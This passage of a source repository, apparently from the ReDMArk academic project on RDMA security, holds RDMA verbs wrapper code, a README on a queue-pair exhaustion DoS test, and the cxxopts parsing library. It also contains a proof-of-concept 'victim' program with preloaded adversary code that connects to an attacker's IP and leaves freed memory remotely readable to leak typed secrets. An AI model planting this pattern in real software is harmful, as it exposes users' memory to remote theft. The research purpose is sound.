IBV_SEND_INLINE; 165 | } 166 | return two_sided( IBV_WR_SEND_WITH_IMM, send_flags, wr_id, imm_data,local_addr, lkey, length); 167 | } 168 | 169 | inline int write_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 170 | 171 | unsigned int send_flags = IBV_SEND_SIGNALED; 172 | 173 | if(length!=0 && length<=max_inline_data){ 174 | send_flags |= IBV_SEND_INLINE; 175 | } 176 | return one_sided(IBV_WR_RDMA_WRITE,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 177 | } 178 | 179 | 180 | inline int write(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 181 | 182 | unsigned int send_flags = 0; 183 | 184 | if(length!=0 && length<=max_inline_data){ 185 | send_flags |= IBV_SEND_INLINE; 186 | } 187 | return one_sided(IBV_WR_RDMA_WRITE,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 188 | } 189 | 190 | inline int write_send_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length, uint32_t payload){ 191 | struct ibv_sge sge[2]; 192 | 193 | 194 | sge[0].addr = local_addr; 195 | sge[0].length = length; 196 | sge[0].lkey = lkey; 197 | struct ibv_send_wr wr[2], *bad; 198 | 199 | wr[0].wr_id = wr_id; 200 | wr[0].next = &wr[1]; 201 | wr[0].sg_list = &sge[0]; 202 | wr[0].num_sge = 1; 203 | wr[0].opcode = IBV_WR_RDMA_WRITE; 204 | 205 | wr[0].send_flags = (length<=max_inline_data ? IBV_SEND_INLINE : 0); 206 | 207 | wr[0].wr.rdma.remote_addr = remote_addr; 208 | wr[0].wr.rdma.rkey = rkey; 209 | 210 | sge[1].addr = local_addr; 211 | sge[1].length = payload; 212 | sge[1].lkey = lkey; 213 | 214 | wr[1].wr_id = wr_id; 215 | wr[1].next = NULL; 216 | wr[1].sg_list = &sge[1]; 217 | wr[1].num_sge = 1; 218 | wr[1].opcode = IBV_WR_SEND; 219 | wr[1].send_flags = IBV_SEND_SIGNALED | (payload<=max_inline_data ? IBV_SEND_INLINE : 0); 220 | 221 | 222 | return ibv_post_send(this->qp, wr, &bad); 223 | 224 | } 225 | 226 | 227 | inline int write_write_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length, uint32_t payload){ 228 | struct ibv_sge sge[2]; 229 | 230 | sge[0].addr = local_addr; 231 | sge[0].length = length; 232 | sge[0].lkey = lkey; 233 | struct ibv_send_wr wr[2], *bad; 234 | 235 | wr[0].wr_id = wr_id; 236 | wr[0].next = &wr[1]; 237 | wr[0].sg_list = &sge[0]; 238 | wr[0].num_sge = 1; 239 | wr[0].opcode = IBV_WR_RDMA_WRITE; 240 | 241 | wr[0].send_flags = (length<=max_inline_data ? IBV_SEND_INLINE : 0); ; 242 | 243 | wr[0].wr.rdma.remote_addr = remote_addr; 244 | wr[0].wr.rdma.rkey = rkey; 245 | 246 | sge[1].addr = local_addr; 247 | sge[1].length = payload; 248 | sge[1].lkey = lkey; 249 | 250 | wr[1].wr_id = wr_id; 251 | wr[1].next = NULL; 252 | wr[1].sg_list = &sge[1]; 253 | wr[1].num_sge = 1; 254 | wr[1].opcode = IBV_WR_RDMA_WRITE_WITH_IMM; 255 | wr[1].send_flags = IBV_SEND_SIGNALED | (payload<=max_inline_data ? IBV_SEND_INLINE : 0); 256 | 257 | wr[1].wr.rdma.remote_addr = remote_addr; 258 | wr[1].wr.rdma.rkey = rkey; 259 | return ibv_post_send(this->qp, wr, &bad); 260 | } 261 | 262 | inline int send_cas_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint64_t expected, uint64_t swap ){ 263 | 264 | struct ibv_sge sge; 265 | 266 | sge.addr = local_addr; 267 | sge.length = 8; 268 | sge.lkey = lkey; 269 | struct ibv_send_wr wr, *bad; 270 | 271 | wr.wr_id = wr_id; 272 | wr.next = NULL; 273 | wr.sg_list = &sge; 274 | wr.num_sge = 1; 275 | wr.opcode = IBV_WR_ATOMIC_CMP_AND_SWP; 276 | 277 | wr.send_flags = IBV_SEND_SIGNALED ; //| IBV_SEND_INLINE 278 | 279 | wr.wr.atomic.remote_addr = remote_addr; 280 | wr.wr.atomic.rkey = rkey; 281 | wr.wr.atomic.compare_add = expected; /* expected value in remote address */ 282 | wr.wr.atomic.swap = swap; /* the value that remote address will be assigned to */ 283 | 284 | return ibv_post_send(this->qp, &wr, &bad); 285 | 286 | } 287 | 288 | inline int write_with_imm_signaled(uint64_t wr_id, uint32_t imm_data, 289 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 290 | 291 | unsigned int send_flags = IBV_SEND_SIGNALED; 292 | 293 | if(length!=0 && length<=max_inline_data){ 294 | send_flags |= IBV_SEND_INLINE; 295 | } 296 | return one_sided(IBV_WR_RDMA_WRITE_WITH_IMM,send_flags,wr_id,imm_data,local_addr,lkey,remote_addr,rkey,length); 297 | } 298 | 299 | 300 | inline int write_with_imm(uint64_t wr_id, uint32_t imm_data, 301 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 302 | 303 | unsigned int send_flags = 0; 304 | 305 | if(length!=0 && length<=max_inline_data){ 306 | send_flags |= IBV_SEND_INLINE; 307 | } 308 | return one_sided(IBV_WR_RDMA_WRITE_WITH_IMM,send_flags,wr_id,imm_data,local_addr,lkey,remote_addr,rkey,length); 309 | } 310 | 311 | 312 | inline int read_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, 313 | uint32_t rkey, uint32_t length) 314 | { 315 | unsigned int send_flags = IBV_SEND_SIGNALED; 316 | 317 | return one_sided(IBV_WR_RDMA_READ,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 318 | } 319 | 320 | inline int read(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length) 321 | { 322 | unsigned int send_flags = 0; 323 | 324 | return one_sided(IBV_WR_RDMA_READ,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 325 | } 326 | 327 | 328 | inline int one_sided(enum ibv_wr_opcode opcode, unsigned int send_flags, uint64_t wr_id, uint32_t imm_data, 329 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length) 330 | { 331 | struct ibv_sge sge; 332 | 333 | sge.addr = local_addr; 334 | sge.length = length; 335 | sge.lkey = lkey; 336 | struct ibv_send_wr wr, *bad; 337 | 338 | wr.wr_id = wr_id; 339 | wr.next = NULL; 340 | wr.sg_list = &sge; 341 | wr.num_sge = 1; 342 | wr.opcode = opcode; 343 | 344 | wr.send_flags = send_flags; 345 | wr.imm_data = imm_data; 346 | 347 | 348 | wr.wr.rdma.remote_addr = remote_addr; 349 | wr.wr.rdma.rkey = rkey; 350 | 351 | return ibv_post_send(this->qp, &wr, &bad); 352 | } 353 | 354 | 355 | inline int two_sided(enum ibv_wr_opcode opcode, unsigned int send_flags, uint64_t wr_id, uint32_t imm_data, 356 | uint64_t local_addr, uint32_t lkey, uint32_t length) 357 | { 358 | struct ibv_sge sge; 359 | 360 | sge.addr = local_addr; 361 | sge.length = length; 362 | sge.lkey = lkey ; 363 | struct ibv_send_wr wr, *bad; 364 | 365 | wr.wr_id = wr_id; 366 | wr.next = NULL; 367 | wr.sg_list = &sge; 368 | wr.num_sge = 1; 369 | wr.opcode = opcode; 370 | 371 | wr.send_flags = send_flags; 372 | wr.imm_data = imm_data; 373 | 374 | return ibv_post_send(this->qp, &wr, &bad); 375 | } 376 | 377 | inline int post_send(struct ibv_send_wr *wr) 378 | { 379 | struct ibv_send_wr *bad; 380 | return ibv_post_send(this->qp, wr, &bad); 381 | } 382 | 383 | 384 | }; 385 | -------------------------------------------------------------------------------- /preload_attack/victim.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A victim code with preloaded adversary code. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | void preload(){ 19 | 20 | struct rdma_addrinfo *addrinfo; 21 | int ret; 22 | struct rdma_addrinfo hints; 23 | memset(&hints, 0, sizeof hints); 24 | hints.ai_port_space = RDMA_PS_TCP; 25 | 26 | // should be IP and port of the attacker 27 | ret = rdma_getaddrinfo("192.168.1.10","9999", &hints, &addrinfo); 28 | assert(ret==0 && "Failed to find route to the attacker"); 29 | 30 | struct ibv_qp_init_attr attr; 31 | struct rdma_conn_param conn_param; 32 | 33 | memset(&attr, 0, sizeof(attr)); 34 | attr.cap.max_send_wr = 1; 35 | attr.cap.max_recv_wr = 1; 36 | attr.cap.max_send_sge = 1; 37 | attr.cap.max_recv_sge = 1; 38 | attr.cap.max_inline_data = sizeof(struct ibv_sge); 39 | attr.qp_type = IBV_QPT_RC; 40 | memset(&conn_param, 0 , sizeof(conn_param)); 41 | conn_param.responder_resources = 2; 42 | conn_param.initiator_depth = 2; 43 | conn_param.retry_count = 3; 44 | conn_param.rnr_retry_count = 3; 45 | struct ibv_pd* pd = NULL; 46 | struct rdma_cm_id *id; 47 | ret = rdma_create_ep(&id, addrinfo, NULL, NULL); 48 | ret = rdma_create_qp(id, pd, &attr); 49 | ret = rdma_connect(id, &conn_param); 50 | pd = id->qp->pd; 51 | char* ptr = (char*)malloc(128); 52 | 53 | 54 | // change to true to use implicit ODP. 55 | bool useodp = false; 56 | 57 | struct ibv_mr * mrall = NULL; 58 | if(useodp) 59 | mrall = ibv_reg_mr(pd,NULL,SIZE_MAX,IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE| IBV_ACCESS_REMOTE_READ | IBV_ACCESS_ON_DEMAND); 60 | else 61 | mrall = ibv_reg_mr(pd,ptr,128,IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE| IBV_ACCESS_REMOTE_READ); 62 | 63 | struct ibv_sge* sges = (struct ibv_sge*)ptr; 64 | sges[0].addr = (uint64_t)(ptr); 65 | sges[0].lkey = mrall->rkey; 66 | { 67 | struct ibv_sge sge; 68 | sge.addr = sges[0].addr; 69 | sge.length = sizeof(struct ibv_sge); 70 | sge.lkey = 0 ; 71 | struct ibv_send_wr wr, *bad; 72 | 73 | wr.wr_id = 0; 74 | wr.next = NULL; 75 | wr.sg_list = &sge; 76 | wr.num_sge = 1; 77 | wr.opcode = IBV_WR_SEND; 78 | wr.send_flags = IBV_SEND_INLINE | IBV_SEND_SIGNALED; 79 | int ret = ibv_post_send(id->qp, &wr, &bad); 80 | assert(ret==0 && "Failed to send memory information to the attacker"); 81 | } 82 | // printf("Attacker expects secret at %p \n",ptr); 83 | 84 | free(ptr); // free memory, but it is still RDMA accesible 85 | } 86 | 87 | int main(int argc, char* argv[]){ 88 | 89 | preload(); 90 | char* secret = (char*)malloc(128); 91 | 92 | while(true){ 93 | printf("Enter secret: "); 94 | int readb = scanf ("%100s",secret); 95 | assert(readb!=EOF); 96 | } 97 | 98 | return 0; 99 | } 100 | 101 | -------------------------------------------------------------------------------- /qp_tests/Makefile: -------------------------------------------------------------------------------- 1 | APPS = main 2 | 3 | LDFLAGS = -libverbs 4 | CFLAGS += -Wall -std=c++11 -I./ 5 | 6 | all: CFLAGS += -O2 7 | all: ${APPS} 8 | 9 | main: clean 10 | g++ main.cpp $(CFLAGS) $(LDFLAGS) -o main 11 | clean: 12 | $(foreach fname,${APPS}, rm -f ${fname}) 13 | 14 | debug: CFLAGS += -DDEBUG -g -O0 15 | debug: ${APPS} 16 | 17 | .DELETE_ON_ERROR: 18 | .PHONY: all clean 19 | -------------------------------------------------------------------------------- /qp_tests/README.md: -------------------------------------------------------------------------------- 1 | # (V5) Linearly Increasing QP Numbers 2 | 3 | 4 | The test shows that subsequent QP allocation calls return consecutive QP numbers. 5 | 6 | 7 | ## Requirements 8 | * GCC >= 4.9 with C++11 features 9 | * rdma-core library, or equivalent RDMA verbs library 10 | 11 | ## Usage 12 | 13 | Basic usage example 14 | ``` 15 | make 16 | ./main --help 17 | ``` 18 | 19 | # (A4) DoS Attack based on Queue Pair Allocation Resource Exhaustion 20 | To find the limit on the number of allocated QPs. Run the following command: 21 | 22 | ``` 23 | make 24 | ./main --exhaust 25 | ``` -------------------------------------------------------------------------------- /qp_tests/cxxopts.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Copyright (c) 2014, 2015, 2016, 2017 Jarryd Beck 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | 23 | */ 24 | 25 | #ifndef CXXOPTS_HPP_INCLUDED 26 | #define CXXOPTS_HPP_INCLUDED 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | #ifdef __cpp_lib_optional 42 | #include 43 | #define CXXOPTS_HAS_OPTIONAL 44 | #endif 45 | 46 | #define CXXOPTS__VERSION_MAJOR 2 47 | #define CXXOPTS__VERSION_MINOR 2 48 | #define CXXOPTS__VERSION_PATCH 0 49 | 50 | namespace cxxopts 51 | { 52 | static constexpr struct { 53 | uint8_t major, minor, patch; 54 | } version = { 55 | CXXOPTS__VERSION_MAJOR, 56 | CXXOPTS__VERSION_MINOR, 57 | CXXOPTS__VERSION_PATCH 58 | }; 59 | } 60 | 61 | //when we ask cxxopts to use Unicode, help strings are processed using ICU, 62 | //which results in the correct lengths being computed for strings when they 63 | //are formatted for the help output 64 | //it is necessary to make sure that can be found by the 65 | //compiler, and that icu-uc is linked in to the binary. 66 | 67 | #ifdef CXXOPTS_USE_UNICODE 68 | #include 69 | 70 | namespace cxxopts 71 | { 72 | typedef icu::UnicodeString String; 73 | 74 | inline 75 | String 76 | toLocalString(std::string s) 77 | { 78 | return icu::UnicodeString::fromUTF8(std::move(s)); 79 | } 80 | 81 | class UnicodeStringIterator : public 82 | std::iterator 83 | { 84 | public: 85 | 86 | UnicodeStringIterator(const icu::UnicodeString* string, int32_t pos) 87 | : s(string) 88 | , i(pos) 89 | { 90 | } 91 | 92 | value_type 93 | operator*() const 94 | { 95 | return s->char32At(i); 96 | } 97 | 98 | bool 99 | operator==(const UnicodeStringIterator& rhs) const 100 | { 101 | return s == rhs.s && i == rhs.i; 102 | } 103 | 104 | bool 105 | operator!=(const UnicodeStringIterator& rhs) const 106 | { 107 | return !(*this == rhs); 108 | } 109 | 110 | UnicodeStringIterator& 111 | operator++() 112 | { 113 | ++i; 114 | return *this; 115 | } 116 | 117 | UnicodeStringIterator 118 | operator+(int32_t v) 119 | { 120 | return UnicodeStringIterator(s, i + v); 121 | } 122 | 123 | private: 124 | const icu::UnicodeString* s; 125 | int32_t i; 126 | }; 127 | 128 | inline 129 | String& 130 | stringAppend(String&s, String a) 131 | { 132 | return s.append(std::move(a)); 133 | } 134 | 135 | inline 136 | String& 137 | stringAppend(String& s, int n, UChar32 c) 138 | { 139 | for (int i = 0; i != n; ++i) 140 | { 141 | s.append(c); 142 | } 143 | 144 | return s; 145 | } 146 | 147 | template 148 | String& 149 | stringAppend(String& s, Iterator begin, Iterator end) 150 | { 151 | while (begin != end) 152 | { 153 | s.append(*begin); 154 | ++begin; 155 | } 156 | 157 | return s; 158 | } 159 | 160 | inline 161 | size_t 162 | stringLength(const String& s) 163 | { 164 | return s.length(); 165 | } 166 | 167 | inline 168 | std::string 169 | toUTF8String(const String& s) 170 | { 171 | std::string result; 172 | s.toUTF8String(result); 173 | 174 | return result; 175 | } 176 | 177 | inline 178 | bool 179 | empty(const String& s) 180 | { 181 | return s.isEmpty(); 182 | } 183 | } 184 | 185 | namespace std 186 | { 187 | inline 188 | cxxopts::UnicodeStringIterator 189 | begin(const icu::UnicodeString& s) 190 | { 191 | return cxxopts::UnicodeStringIterator(&s, 0); 192 | } 193 | 194 | inline 195 | cxxopts::UnicodeStringIterator 196 | end(const icu::UnicodeString& s) 197 | { 198 | return cxxopts::UnicodeStringIterator(&s, s.length()); 199 | } 200 | } 201 | 202 | //ifdef CXXOPTS_USE_UNICODE 203 | #else 204 | 205 | namespace cxxopts 206 | { 207 | typedef std::string String; 208 | 209 | template 210 | T 211 | toLocalString(T&& t) 212 | { 213 | return std::forward(t); 214 | } 215 | 216 | inline 217 | size_t 218 | stringLength(const String& s) 219 | { 220 | return s.length(); 221 | } 222 | 223 | inline 224 | String& 225 | stringAppend(String&s, String a) 226 | { 227 | return s.append(std::move(a)); 228 | } 229 | 230 | inline 231 | String& 232 | stringAppend(String& s, size_t n, char c) 233 | { 234 | return s.append(n, c); 235 | } 236 | 237 | template 238 | String& 239 | stringAppend(String& s, Iterator begin, Iterator end) 240 | { 241 | return s.append(begin, end); 242 | } 243 | 244 | template 245 | std::string 246 | toUTF8String(T&& t) 247 | { 248 | return std::forward(t); 249 | } 250 | 251 | inline 252 | bool 253 | empty(const std::string& s) 254 | { 255 | return s.empty(); 256 | } 257 | } 258 | 259 | //ifdef CXXOPTS_USE_UNICODE 260 | #endif 261 | 262 | namespace cxxopts 263 | { 264 | namespace 265 | { 266 | #ifdef _WIN32 267 | const std::string LQUOTE("\'"); 268 | const std::string RQUOTE("\'"); 269 | #else 270 | const std::string LQUOTE("‘"); 271 | const std::string RQUOTE("’"); 272 | #endif 273 | } 274 | 275 | class Value : public std::enable_shared_from_this 276 | { 277 | public: 278 | 279 | virtual ~Value() = default; 280 | 281 | virtual 282 | std::shared_ptr 283 | clone() const = 0; 284 | 285 | virtual void 286 | parse(const std::string& text) const = 0; 287 | 288 | virtual void 289 | parse() const = 0; 290 | 291 | virtual bool 292 | has_default() const = 0; 293 | 294 | virtual bool 295 | is_container() const = 0; 296 | 297 | virtual bool 298 | has_implicit() const = 0; 299 | 300 | virtual std::string 301 | get_default_value() const = 0; 302 | 303 | virtual std::string 304 | get_implicit_value() const = 0; 305 | 306 | virtual std::shared_ptr 307 | default_value(const std::string& value) = 0; 308 | 309 | virtual std::shared_ptr 310 | implicit_value(const std::string& value) = 0; 311 | 312 | virtual bool 313 | is_boolean() const = 0; 314 | }; 315 | 316 | class OptionException : public std::exception 317 | { 318 | public: 319 | OptionException(const std::string& message) 320 | : m_message(message) 321 | { 322 | } 323 | 324 | virtual const char* 325 | what() const noexcept 326 | { 327 | return m_message.c_str(); 328 | } 329 | 330 | private: 331 | std::string m_message; 332 | }; 333 | 334 | class OptionSpecException : public OptionException 335 | { 336 | public: 337 | 338 | OptionSpecException(const std::string& message) 339 | : OptionException(message) 340 | { 341 | } 342 | }; 343 | 344 | class OptionParseException : public OptionException 345 | { 346 | public: 347 | OptionParseException(const std::string& message) 348 | : OptionException(message) 349 | { 350 | } 351 | }; 352 | 353 | class option_exists_error : public OptionSpecException 354 | { 355 | public: 356 | option_exists_error(const std::string& option) 357 | : OptionSpecException(u8"Option " + LQUOTE + option + RQUOTE + u8" already exists") 358 | { 359 | } 360 | }; 361 | 362 | class invalid_option_format_error : public OptionSpecException 363 | { 364 | public: 365 | invalid_option_format_error(const std::string& format) 366 | : OptionSpecException(u8"Invalid option format " + LQUOTE + format + RQUOTE) 367 | { 368 | } 369 | }; 370 | 371 | class option_syntax_exception : public OptionParseException { 372 | public: 373 | option_syntax_exception(const std::string& text) 374 | : OptionParseException(u8"Argument " + LQUOTE + text + RQUOTE + 375 | u8" starts with a - but has incorrect syntax") 376 | { 377 | } 378 | }; 379 | 380 | class option_not_exists_exception : public OptionParseException 381 | { 382 | public: 383 | option_not_exists_exception(const std::string& option) 384 | : OptionParseException(u8"Option " + LQUOTE + option + RQUOTE + u8" does not exist") 385 | { 386 | } 387 | }; 388 | 389 | class missing_argument_exception : public OptionParseException 390 | { 391 | public: 392 | missing_argument_exception(const std::string& option) 393 | : OptionParseException( 394 | u8"Option " + LQUOTE + option + RQUOTE + u8" is missing an argument" 395 | ) 396 | { 397 | } 398 | }; 399 | 400 | class option_requires_argument_exception : public OptionParseException 401 | { 402 | public: 403 | option_requires_argument_exception(const std::string& option) 404 | : OptionParseException( 405 | u8"Option " + LQUOTE + option + RQUOTE + u8" requires an argument" 406 | ) 407 | { 408 | } 409 | }; 410 | 411 | class option_not_has_argument_exception : public OptionParseException 412 | { 413 | public: 414 | option_not_has_argument_exception 415 | ( 416 | const std::string& option, 417 | const std::string& arg 418 | ) 419 | : OptionParseException( 420 | u8"Option " + LQUOTE + option + RQUOTE + 421 | u8" does not take an argument, but argument " + 422 | LQUOTE + arg + RQUOTE + " given" 423 | ) 424 | { 425 | } 426 | }; 427 | 428 | class option_not_present_exception : public OptionParseException 429 | { 430 | public: 431 | option_not_present_exception(const std::string& option) 432 | : OptionParseException(u8"Option " + LQUOTE + option + RQUOTE + u8" not present") 433 | { 434 | } 435 | }; 436 | 437 | class argument_incorrect_type : public OptionParseException 438 | { 439 | public: 440 | argument_incorrect_type 441 | ( 442 | const std::string& arg 443 | ) 444 | : OptionParseException( 445 | u8"Argument " + LQUOTE + arg + RQUOTE + u8" failed to parse" 446 | ) 447 | { 448 | } 449 | }; 450 | 451 | class option_required_exception : public OptionParseException 452 | { 453 | public: 454 | option_required_exception(const std::string& option) 455 | : OptionParseException( 456 | u8"Option " + LQUOTE + option + RQUOTE + u8" is required but not present" 457 | ) 458 | { 459 | } 460 | }; 461 | 462 | namespace values 463 | { 464 | namespace 465 | { 466 | std::basic_regex integer_pattern 467 | ("(-)?(0x)?([0-9a-zA-Z]+)|((0x)?0)"); 468 | std::basic_regex truthy_pattern 469 | ("(t|T)(rue)?"); 470 | std::basic_regex falsy_pattern 471 | ("((f|F)(alse)?)?"); 472 | } 473 | 474 | namespace detail 475 | { 476 | template 477 | struct SignedCheck; 478 | 479 | template 480 | struct SignedCheck 481 | { 482 | template 483 | void 484 | operator()(bool negative, U u, const std::string& text) 485 | { 486 | if (negative) 487 | { 488 | if (u > static_cast(-std::numeric_limits::min())) 489 | { 490 | throw argument_incorrect_type(text); 491 | } 492 | } 493 | else 494 | { 495 | if (u > static_cast(std::numeric_limits::max())) 496 | { 497 | throw argument_incorrect_type(text); 498 | } 499 | } 500 | } 501 | }; 502 | 503 | template 504 | struct SignedCheck 505 | { 506 | template 507 | void 508 | operator()(bool, U, const std::string&) {} 509 | }; 510 | 511 | template 512 | void 513 | check_signed_range(bool negative, U value, const std::string& text) 514 | { 515 | SignedCheck::is_signed>()(negative, value, text); 516 | } 517 | } 518 | 519 | template 520 | R 521 | checked_negate(T&& t, const std::string&, std::true_type) 522 | { 523 | // if we got to here, then `t` is a positive number that fits into 524 | // `R`. So to avoid MSVC C4146, we first cast it to `R`. 525 | // See https://github.com/jarro2783/cxxopts/issues/62 for more details. 526 | return -static_cast(t); 527 | } 528 | 529 | template 530 | T 531 | checked_negate(T&&, const std::string& text, std::false_type) 532 | { 533 | throw argument_incorrect_type(text); 534 | } 535 | 536 | template 537 | void 538 | integer_parser(const std::string& text, T& value) 539 | { 540 | std::smatch match; 541 | std::regex_match(text, match, integer_pattern); 542 | 543 | if (match.length() == 0) 544 | { 545 | throw argument_incorrect_type(text); 546 | } 547 | 548 | if (match.length(4) > 0) 549 | { 550 | value = 0; 551 | return; 552 | } 553 | 554 | using US = typename std::make_unsigned::type; 555 | 556 | constexpr auto umax = std::numeric_limits::max(); 557 | constexpr bool is_signed = std::numeric_limits::is_signed; 558 | const bool negative = match.length(1) > 0; 559 | const uint8_t base = match.length(2) > 0 ? 16 : 10; 560 | 561 | auto value_match = match[3]; 562 | 563 | US result = 0; 564 | 565 | for (auto iter = value_match.first; iter != value_match.second; ++iter) 566 | { 567 | US digit = 0; 568 | 569 | if (*iter >= '0' && *iter <= '9') 570 | { 571 | digit = *iter - '0'; 572 | } 573 | else if (base == 16 && *iter >= 'a' && *iter <= 'f') 574 | { 575 | digit = *iter - 'a' + 10; 576 | } 577 | else if (base == 16 && *iter >= 'A' && *iter <= 'F') 578 | { 579 | digit = *iter - 'A' + 10; 580 | } 581 | else 582 | { 583 | throw argument_incorrect_type(text); 584 | } 585 | 586 | if (umax - digit < result * base) 587 | { 588 | throw argument_incorrect_type(text); 589 | } 590 | 591 | result = result * base + digit; 592 | } 593 | 594 | detail::check_signed_range(negative, result, text); 595 | 596 | if (negative) 597 | { 598 | value = checked_negate(result, 599 | text, 600 | std::integral_constant()); 601 | } 602 | else 603 | { 604 | value = result; 605 | } 606 | } 607 | 608 | template 609 | void stringstream_parser(const std::string& text, T& value) 610 | { 611 | std::stringstream in(text); 612 | in >> value; 613 | if (!in) { 614 | throw argument_incorrect_type(text); 615 | } 616 | } 617 | 618 | inline 619 | void 620 | parse_value(const std::string& text, uint8_t& value) 621 | { 622 | integer_parser(text, value); 623 | } 624 | 625 | inline 626 | void 627 | parse_value(const std::string& text, int8_t& value) 628 | { 629 | integer_parser(text, value); 630 | } 631 | 632 | inline 633 | void 634 | parse_value(const std::string& text, uint16_t& value) 635 | { 636 | integer_parser(text, value); 637 | } 638 | 639 | inline 640 | void 641 | parse_value(const std::string& text, int16_t& value) 642 | { 643 | integer_parser(text, value); 644 | } 645 | 646 | inline 647 | void 648 | parse_value(const std::string& text, uint32_t& value) 649 | { 650 | integer_parser(text, value); 651 | } 652 | 653 | inline 654 | void 655 | parse_value(const std::string& text, int32_t& value) 656 | { 657 | integer_parser(text, value); 658 | } 659 | 660 | inline 661 | void 662 | parse_value(const std::string& text, uint64_t& value) 663 | { 664 | integer_parser(text, value); 665 | } 666 | 667 | inline 668 | void 669 | parse_value(const std::string& text, int64_t& value) 670 | { 671 | integer_parser(text, value); 672 | } 673 | 674 | inline 675 | void 676 | parse_value(const std::string& text, bool& value) 677 | { 678 | std::smatch result; 679 | std::regex_match(text, result, truthy_pattern); 680 | 681 | if (!result.empty()) 682 | { 683 | value = true; 684 | return; 685 | } 686 | 687 | std::regex_match(text, result, falsy_pattern); 688 | if (!result.empty()) 689 | { 690 | value = false; 691 | return; 692 | } 693 | 694 | throw argument_incorrect_type(text); 695 | } 696 | 697 | inline 698 | void 699 | parse_value(const std::string& text, std::string& value) 700 | { 701 | value = text; 702 | } 703 | 704 | // The fallback parser. It uses the stringstream parser to parse all types 705 | // that have not been overloaded explicitly. It has to be placed in the 706 | // source code before all other more specialized templates. 707 | template 708 | void 709 | parse_value(const std::string& text, T& value) { 710 | stringstream_parser(text, value); 711 | } 712 | 713 | template 714 | void 715 | parse_value(const std::string& text, std::vector& value) 716 | { 717 | T v; 718 | parse_value(text, v); 719 | value.push_back(v); 720 | } 721 | 722 | #ifdef CXXOPTS_HAS_OPTIONAL 723 | template 724 | void 725 | parse_value(const std::string& text, std::optional& value) 726 | { 727 | T result; 728 | parse_value(text, result); 729 | value = std::move(result); 730 | } 731 | #endif 732 | 733 | template 734 | struct type_is_container 735 | { 736 | static constexpr bool value = false; 737 | }; 738 | 739 | template 740 | struct type_is_container> 741 | { 742 | static constexpr bool value = true; 743 | }; 744 | 745 | template 746 | class abstract_value : public Value 747 | { 748 | using Self = abstract_value; 749 | 750 | public: 751 | abstract_value() 752 | : m_result(std::make_shared()) 753 | , m_store(m_result.get()) 754 | { 755 | } 756 | 757 | abstract_value(T* t) 758 | : m_store(t) 759 | { 760 | } 761 | 762 | virtual ~abstract_value() = default; 763 | 764 | abstract_value(const abstract_value& rhs) 765 | { 766 | if (rhs.m_result) 767 | { 768 | m_result = std::make_shared(); 769 | m_store = m_result.get(); 770 | } 771 | else 772 | { 773 | m_store = rhs.m_store; 774 | } 775 | 776 | m_default = rhs.m_default; 777 | m_implicit = rhs.m_implicit; 778 | m_default_value = rhs.m_default_value; 779 | m_implicit_value = rhs.m_implicit_value; 780 | } 781 | 782 | void 783 | parse(const std::string& text) const 784 | { 785 | parse_value(text, *m_store); 786 | } 787 | 788 | bool 789 | is_container() const 790 | { 791 | return type_is_container::value; 792 | } 793 | 794 | void 795 | parse() const 796 | { 797 | parse_value(m_default_value, *m_store); 798 | } 799 | 800 | bool 801 | has_default() const 802 | { 803 | return m_default; 804 | } 805 | 806 | bool 807 | has_implicit() const 808 | { 809 | return m_implicit; 810 | } 811 | 812 | std::shared_ptr 813 | default_value(const std::string& value) 814 | { 815 | m_default = true; 816 | m_default_value = value; 817 | return shared_from_this(); 818 | } 819 | 820 | std::shared_ptr 821 | implicit_value(const std::string& value) 822 | { 823 | m_implicit = true; 824 | m_implicit_value = value; 825 | return shared_from_this(); 826 | } 827 | 828 | std::string 829 | 